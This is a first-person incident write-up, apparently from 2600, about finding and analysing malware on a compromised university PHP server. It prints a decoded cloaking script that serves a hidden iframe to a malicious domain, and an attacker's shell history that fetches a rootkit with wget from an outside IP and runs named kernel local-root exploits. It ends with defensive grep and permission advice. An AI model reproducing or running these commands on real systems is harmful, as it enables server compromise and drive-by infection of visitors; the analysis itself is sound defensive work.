A PHP Rootkit Case Study

by StarckTruth

I was recently hired by the engineering and CS student association of a local university after their server had become unreliable due to a virus.

Being a former member of, add volunteer for, this organization, I offered to help them reconstruct their sites in a secure fashion before the start of the term in two weeks time.

Working with two rather skilled students, we explored the unholy mess in the server.

There had obviously never been any organizational scheme that had been followed for long, so the cruft lay thick and deep.  Nonetheless, before too long I found in an index.php file the code:

eval(base64_decode('blablabla'))

Along with a substantial bit of gibberish.  The Base64 block had been inserted after the initial <?php in the file.

Clearly, this was obfuscated code and, when extracted, it read:

error_reporting(0); 

$bot = FALSE; 
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmlddoc','webcollage',
                              'blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com',
                              'openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly 13ufmjrx','szn-image-resizer',
                              'bdbrandprotect.com','wordpress','rssreader','mybloglog api'); 
$stop_ips_masks = array( 
	array("216.239.32.0","216.239.63.255"), 
	array("64.68.80.0","64.68.87.255" ), 
	array("66.102.0.0","66.102.15.255"), 
	array("64.233.160.0","64.233.191.255"), 
	array("66.249.64.0","66.249.95.255"), 
	array("72.14.192.0","72.14.255.255"), 
	array("209.85.128.0","209.85.255.255"), 
	array("198.108.100.192","198.108.100.207"), 
	array("173.194.0.0","173.194.255.255"), 
	array("216.33.229.144","216.33.229.151"), 
	array("216.33.229.160","216.33.229.167"), 
	array("209.185.108.128","209.185.108.255"), 
	array("216.109.75.80","216.109.75.95"), 
	array("64.68.88.0","64.68.95.255"), 
	array("64.68.64.64","64.68.64.127"), 
	array("64.41.221.192","64.41.221.207"), 
	array("74.125.0.0","74.125.255.255"), 
	array("65.52.0.0","65.55.255.255"), 
	array("74.6.0.0","74.6.255.255"), 
	array("67.195.0.0","67.195.255.255"), 
	array("72.30.0.0","72.30.255.255"), 
	array("38.0.0.0","38.255.255.255") 
	); 

$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE ADDR'])); 

foreach ($stop_ips_masks as $IPs) {
  $first_d = sprintf("%u",ip2long($IPs[0]));
  $second_d = sprintf("%u", ip2long($IPs[1])); 
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {
      $bot = TRUE; break;
    }
} 

foreach ($user_agent_to_filter as $bot_sign) { 

  if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false) {
    $bot = true; break;
  }
} 

if (!$bot) { 
  echo '<iframe src="http://ovundrzjr.co.tv/?go=1" width="1" height="1"></iframe>'; 
} 

Clearly, it only spits out the iframe for user agents not in the list and from IPs outside the ranges excluded.

I suspect the ovundrzjr.co.tv address is a client-reporting script, but the domain no longer resolves.

We continued digging around, and noticed this in the .bash_history file:

uname -s 
uname -r 
uname -v 
uname -m 
which gcc
which wget lynx links GET fetch curl 
wget -O /tmp/raroot.tgz http://94.60.123.230/exspl/raroot.tgz 
if [ -f /tmp/raroot.tgz ]; then echo DownloadedSucc; fi 
cd /tmp 
tar -xzf raroot.tgz &>/dev/null 
cd raroot 
cd wunderbar 
chmod +x wunderbar.sh 
./wunderbar.sh 
cd .. 
if [ "$(id -u)" = "0" ]; then echo "GOT ROOT"; fi
cd cheddar_bay 
chmod +x cheddar_bay.sh 
./cheddar_bay.sh 
cd .. 
if [ "$(id -u)" = "0" ]; then echo "GOT ROOT"; fi
cd therebel
chmod +x therebel.sh 
./therebel.sh 
cd .. 
if [ "$(id -u)" = "0" ]; then echo "GOT ROOT"; fi
chmod +x run.sh 
./run.sh 
cd .. 
if [ "$(id -u)" = "0" ]; then echo "GOT ROOT"; fi 
rm -r /tmp/raroot* 

The plot thickens.

When we resolved 94.60.123.230, it was to a Romanian host, it no longer resolves.

Anyhow, all three of Wunderbar, Cheddar Bay, and The Rebel are exploits involving null pointer dereferencing.  It also looks like the rooting attempts failed (hooray for updating the kernel).

Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
The Rebel: Linux < 2.6.19 udp_sendmsg() local root
Wunderbar Emporium: Linux 2.X sendpage() local root

But where didd the actions come from?

After more digging I came across a really, really huge block of Base64 bracketed by:

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 
and:
\x29\x29\x29\x3B 

which in ASCII are:

eval(gzinflate(base64_decode(
and:
)));

Those decoded and decompressed into a rather impressive 1517 lines of PHP.

This started with a system to distinguish Windows and UNIX hosts, but the actual exploit code was POSIX-specific (which suggests to me that this code was downloaded and appended as part of the infection process).

The functions in the script were sniffers for security information, filesystem manipulation, string tools, file tools, bypassing safe mode, running a virtual console, brute-force attacks on system and database passwords, and opening network backdoors, and, finally, cleaning up after itself (although, of course, not perfectly).

It appears the original source of the malware was a free WordPress theme downloaded from same random website.  From my inspection of the code, the two most likely places to find obfuscated code are in footer.php (which is probably seldom inspected) and index.php (which is probably often infected).

My advice to server administrators wishing to avoid the grief is simple.

1.)  In WordPress installations, once installed, ensure the server user cannot write to any directory except wp-content, and also cannot write to any PHP file whatsoever.

2.)  Use grep to search for eval(base64_decode( and replace any examples you find with the decoded PHP if it's innocuous (and excise it if not).

3.)  Use grep to search for strings of hex-encoded data.  Of course, this should be a case-insensitive search (grep -i).

For example:

                                    \x65\x76\x61\x6C is eval
                \x67\x7A\x69\x6E\x66\x6C\x61\x74\x65 is gzinflate
\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65 is base64_decode

This has been an interesting and enlightening experience, which I felt should be shared.

Thank you, 2600, for instructing me since before 9/11; keep up the good fight.

Return to $2600 Index